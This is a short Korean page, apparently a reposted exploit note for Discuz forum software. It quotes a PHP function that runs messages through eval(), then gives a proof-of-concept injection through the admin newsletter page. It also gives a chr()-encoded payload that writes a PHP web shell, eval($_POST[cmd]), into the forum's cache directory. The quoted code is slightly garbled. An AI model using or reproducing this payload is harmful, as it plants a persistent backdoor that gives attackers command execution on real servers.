Discuz 비설립자 관리자 코드 실행

3714 단어 직장레저

  
  
  
  
  1. function sendpm($toid, $subject, $message, $fromid = '') { 
  2.         if($fromid === '') { 
  3.                 require_once DISCUZ_ROOT.'./uc_client/client.php'; 
  4.                 $fromid = $discuz_uid; 
  5.         } 
  6.         if($fromid) { 
  7.                 uc_pm_send($fromid, $toid, $subject, $message); 
  8.         } else { 
  9.                 global $promptkeys; 
  10.                 if(in_array($subject, $promptkeys)) { 
  11.                         $type = $subject; 
  12.                 } else { 
  13.                         extract($GLOBALS, EXTR_SKIP); 
  14.                         require_once DISCUZ_ROOT.'./include/discuzcode.func.php'; 
  15.                         eval("\$message = addslashes(\"".$message."\");"); // ,  
  16.                         $type = 'systempm'
  17.                         $message = ' 
  18. <div>'.$subject.' {time}'.discuzcode($message, 1, 0).'</div> 
  19.  
  20. '; 
  21.                 } 
  22.                 sendnotice($toid, $message, $type); 
  23.         } 

POC: 1. admincp.php?frames=yes&action=members&operation=newsletter 2. 알림: {${phpinfo ()}}}
EXP – (fputs(fopen(‘forumdata/cache/cache_01.php’,'w’),’’);) :
${${eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr
(112).chr(101).chr(110).chr(40).chr(39).chr(102).chr(111).chr(114).chr(117).chr
(109).chr(100).chr(97).chr(116).chr(97).chr(47).chr(99).chr(97).chr(99).chr
(104).chr(101).chr(47).chr(99).chr(97).chr(99).chr(104).chr(101).chr(95).chr
(48).chr(49).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr
(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr
(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr
(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr
(41).chr(63).chr(62).chr(39).chr(41).chr(59))}}

좋은 웹페이지 즐겨찾기